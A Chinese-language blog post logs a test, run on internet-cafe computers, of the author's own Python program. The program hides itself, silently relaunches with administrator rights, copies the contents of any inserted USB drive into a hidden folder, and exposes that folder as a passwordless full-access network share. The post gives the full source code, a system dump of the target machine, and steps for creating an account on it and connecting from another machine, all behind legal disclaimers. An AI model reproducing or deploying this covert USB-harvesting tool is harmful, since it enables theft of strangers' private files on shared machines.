在网鱼网吧测试文件试验成功
记录-在网鱼网吧测试写的文件
2025/5/2
记录自己一段时间的学习成果-巴适的一天
哈哈哈
如果程序被滥用或盗用带来的法律和其他风险,本人概不承担
请遵守中国法律!!!
本人不承担一切与此程序相关的经济和法律风险
环境
我在网吧运行测试的。先看网鱼网吧环境
我指的是电脑环境,实地环境和服务也很好
C:\windows\system32>systeminfo
主机名: YY052
OS 名称: Microsoft Windows 10 专业版
OS 版本: 10.0.19045 暂缺 Build 19045
OS 制造商: Microsoft Corporation
OS 配置: 独立工作站
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
注册的组织:
产品 ID: 00331-10000-00001-AA446
初始安装日期: 2024/6/6, 11:34:05
系统启动时间: 2025/5/2, 18:41:06
系统制造商: Micro-Star International Co., Ltd.
系统型号: MS-7C52
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: AMD64 Family 25 Model 33 Stepping 2 AuthenticAMD ~3501 Mhz
BIOS 版本: American Megatrends International, LLC. 3.I0, 2023/4/27
Windows 目录: C:\windows
系统目录: C:\windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 16,310 MB
可用的物理内存: 8,097 MB
虚拟内存: 最大值: 32,310 MB
虚拟内存: 可用: 20,442 MB
虚拟内存: 使用中: 11,868 MB
页面文件位置: C:\pagefile.sys
域: WORKGROUP
登录服务器: \\YY052
修补程序: 安装了 6 个修补程序。
[01]: KB5036608
[02]: KB5015684
[03]: KB5037768
[04]: KB5014032
[05]: KB5028380
[06]: KB5037240
网卡: 安装了 1 个 NIC。
[01]: Realtek PCIe GbE Family Controller
连接名: Ethernet0
启用 DHCP: 否
IP 地址
[01]: 10.211.122.52
Hyper-V 要求: 虚拟机监视器模式扩展: 是
固件中已启用虚拟化: 是
二级地址转换: 是
数据执行保护可用: 是
C:\windows\system32>
第一步在目标电脑创建用户和密码
这里有问题,第一次登录要改密码要小心
第一次登录由于本地安全策略要改密码的,提前在目标机上调试好
或者提权成功
我还发现了这里面有网吧的调试软件
很明显这是其他运维留下的
啥也不说直接复制粘贴了
我创建的是A324密码为1234567890
然后发现安全策略第一次登录必须更改密码
然后改为某密码
本来我想用Guest登录的,但是发现
·C:\windows\system32>\\10.211.122.51\SharedUSBFiles
用户帐户限制阻止了此用户进行登录。例如:不允许使用空密码,登录次数的限制,或强制实施的某个策略限制。
第二步点击程序运行开启共享文件夹
在任务管理器中运行下列exe代码即可
建议运行定时任务执行,这东西权限很高
代码马上如下,我直接pyinstaller压缩为exe文件了,今天上传了微步和360
pdf报告也有,程序有危险的,不要乱用!!!
如果此程序被滥用或盗用带来的法律和其他风险,本人概不承担
请遵守中国法律!!!
本人不承担一切与此程序相关的经济和法律风险
此程序主要功能-将插入的u盘中的文件复制为隐藏的共享文件夹,然后让其他用户连接
# -*- coding: utf-8 -*- import shutil import os import sys import ctypes import subprocess import win32file import win32net import win32con import time from datetime import datetime import psutildef hide_file(file_path):"""将指定文件设置为隐藏属性"""try:ctypes.windll.kernel32.SetFileAttributesW(file_path, 0x02) # 0x02 表示隐藏属性except Exception as e:pass # 静默处理错误,避免暴露存在感def is_admin():"""检查是否以管理员权限运行"""try:return ctypes.windll.shell32.IsUserAnAdmin()except:return Falsedef run_silent_and_admin_check(script_path):"""确保以管理员身份运行,并静默启动"""if os.name == 'nt':app = USBDiskNetworkShare()if app.is_already_running():app.log("程序已在运行中,退出当前实例")sys.exit()if not is_admin():# 使用 PowerShell 启动自身并请求管理员权限,同时隐藏窗口python_exe = sys.executablecmd = (f'Start-Process "{python_exe}" -ArgumentList "-u", "{script_path}" ''-Verb RunAs -WindowStyle Hidden')try:subprocess.run(["powershell", "-Command", cmd], check=True)sys.exit()except Exception as e:app.log(f"后台启动失败: {e}")sys.exit()else:# 设置控制台窗口不可见whnd = ctypes.windll.kernel32.GetConsoleWindow()if whnd != 0:ctypes.windll.user32.ShowWindow(whnd, 0) # 隐藏控制台窗口ctypes.windll.kernel32.CloseHandle(whnd)app = USBDiskNetworkShare()app.monitor_usb_insertion() # 开始监听U盘插入事件class USBDiskNetworkShare:def __init__(self):# 获取当前脚本路径并隐藏自己self.script_path = os.path.abspath(sys.argv[0])hide_file(self.script_path)# 共享文件夹和日志路径self.shared_folder = "C:\\SharedUSBFiles"self.log_file = os.path.join(self.shared_folder, "usb_share_log.txt")self.max_log_size = 10 * 1024 * 1024 # 10MB# 创建共享文件夹并设置为隐藏if not os.path.exists(self.shared_folder):try:os.makedirs(self.shared_folder)ctypes.windll.kernel32.SetFileAttributesW(self.shared_folder, 0x02)except Exception as e:pass# 确保日志文件存在并设置为隐藏try:with open(self.log_file, 'a', encoding='utf-8') as f:pass # 确保文件存在ctypes.windll.kernel32.SetFileAttributesW(self.log_file, 0x02)except Exception as e:passself.cleanup_logs()# 初始化记录上一次检测到的U盘列表self.last_usb_drives = set()def cleanup_logs(self):"""如果日志文件太大,则清空"""if os.path.exists(self.log_file) and os.path.getsize(self.log_file) > self.max_log_size:with open(self.log_file, 'w', encoding='utf-8') as f:f.write('--- 日志已清理 ---\n')def find_usb_drives(self):"""查找当前插入的所有U盘(DRIVE_REMOVABLE 类型)"""drives = []try:bitmask = win32file.GetLogicalDrives()for letter in map(chr, range(65, 91)): # A-Zif bitmask & 1:drive_type = win32file.GetDriveType(f"{letter}:\\")if drive_type == win32file.DRIVE_REMOVABLE:drives.append(f"{letter}:\\")bitmask >>= 1except Exception as e:self.log(f"查找U盘失败: {e}")return drivesdef copy_files_from_usb(self, usb_path):"""从U盘复制文件到共享目录,支持重试机制和PowerShell备用方案"""retry_limit = 3attempt = 0while attempt < retry_limit:try:self.log(f"检测到U盘插入: {usb_path}")for item in os.listdir(usb_path):src = os.path.join(usb_path, item)dst = os.path.join(self.shared_folder, item)if len(dst) > 248: # 避免长路径限制dst = "\\\\?\\" + os.path.abspath(dst)if os.path.isfile(src):try:shutil.copy2(src, dst)self.log(f"已复制文件: {src} -> {dst}")except Exception as e:self.log(f"shutil复制失败,尝试PowerShell复制: {e}")self.powershell_copy_file(src, dst)elif os.path.isdir(src):try:if not os.path.exists(dst):shutil.copytree(src, dst)self.log(f"已复制文件夹: {src} -> {dst}")except Exception as e:self.log(f"shutil复制文件夹失败,尝试PowerShell复制: {e}")self.powershell_copy_folder(src, dst)break # 成功则跳出循环except Exception as e:attempt += 1self.log(f"复制U盘文件出错(第{attempt}次尝试): {e}")time.sleep(2)else:self.log("多次尝试复制失败,跳过此U盘")def powershell_copy_file(self, src, dst):"""使用PowerShell复制文件(备用方案)"""cmd = f'Copy-Item -Path "{src}" -Destination "{dst}" -Force'self.run_powershell(cmd)def powershell_copy_folder(self, src, dst):"""使用PowerShell递归复制文件夹(备用方案)"""cmd = f'Copy-Item -Path "{src}" -Destination "{dst}" -Recurse -Force'self.run_powershell(cmd)def run_powershell(self, command):"""执行PowerShell命令,带超时和重试机制且不显示窗口"""attempt = 0while attempt < 3:try:proc = subprocess.Popen(["powershell.exe", "-Command", command],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL,stdin=subprocess.DEVNULL,creationflags=subprocess.CREATE_NO_WINDOW # 隐藏窗口)proc.wait(timeout=30)return proc.returncode == 0except Exception as e:self.log(f"PowerShell命令执行失败({attempt+1}/3): {e}")attempt += 1time.sleep(1)self.log("PowerShell命令多次失败,放弃尝试")return Falsedef create_network_share(self):"""将目标文件夹设置为局域网共享文件夹"""try:share_info = {'netname': 'SharedUSBFiles','path': self.shared_folder,'remark': '','permissions': win32con.GENERIC_ALL,'max_uses': -1,'current_uses': 0,'password': '','servername': None}win32net.NetShareAdd(None, 2, share_info)self.log("成功创建网络共享文件夹 SharedUSBFiles")except Exception as e:self.log(f"创建网络共享失败: {e}")def log(self, message):"""记录日志信息到日志文件"""now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")msg = f"[{now}] {message}"try:with open(self.log_file, "a", encoding="utf-8") as f:f.write(msg + "\n")except Exception as e:passdef is_already_running(self):"""防止重复启动多个实例"""process_name = os.path.basename(sys.argv[0])count = 0for proc in psutil.process_iter(['pid', 'name', 'cmdline']):try:if proc.info['name'] and 'python' in proc.info['name'].lower():if any(process_name in str(c) for c in proc.info['cmdline']):count += 1if count > 1:return Trueexcept (psutil.NoSuchProcess, psutil.AccessDenied):continuereturn Falsedef monitor_usb_insertion(self):"""持续运行,监听U盘插入事件并触发复制"""self.create_network_share()self.log("开始监听U盘插入事件...")# 初始扫描一次initial_drives = set(self.find_usb_drives())if initial_drives:self.log(f"发现 {len(initial_drives)} 个开机前已插入的U盘,正在处理...")for drive in initial_drives:self.copy_files_from_usb(drive)else:self.log("未检测到开机前插入的U盘")self.last_usb_drives = initial_drives # 更新记录# 正常轮询逻辑继续while True:current_drives = set(self.find_usb_drives())new_drives = current_drives - self.last_usb_drivesif new_drives:self.log(f"发现 {len(new_drives)} 个新插入的U盘")for drive in new_drives:self.copy_files_from_usb(drive)self.last_usb_drives = current_drivestime.sleep(5) # 每5秒检查一次U盘状态if __name__ == "__main__":script_path = os.path.abspath(__file__)run_silent_and_admin_check(script_path)
第三步测试连通性,然后连接
10.211.122.51 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
C:\windows\system32>\\10.211.122.51\SharedUSBFiles
用户帐户限制阻止了此用户进行登录。例如:不允许使用空密码,登录次数的限制,或强制实施的某个策略限制。
C:\windows\system32>\\10.211.122.51\SharedUSBFiles
用户帐户限制阻止了此用户进行登录。例如:不允许使用空密码,登录次数的限制,或强制实施的某个策略限制。
C:\windows\system32>Guest
'Guest' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
第一次使用记得改密码,有安全策略的
C:\windows\system32>net use Y: \\10.211.122.51\SharedUSBFiles /USER:A324 某密码
发生系统错误 1907。
在登录之前,必须更改用户的密码。
C:\windows\system32>net use Y: \\10.211.122.51\SharedUSBFiles /USER:A324 某密码
命令成功完成。
C:\windows\system32>
然后就可以看到了
我是两台机器互通的,总体来看是一次不错的体验
win10虚拟机上也测试过了,没问题的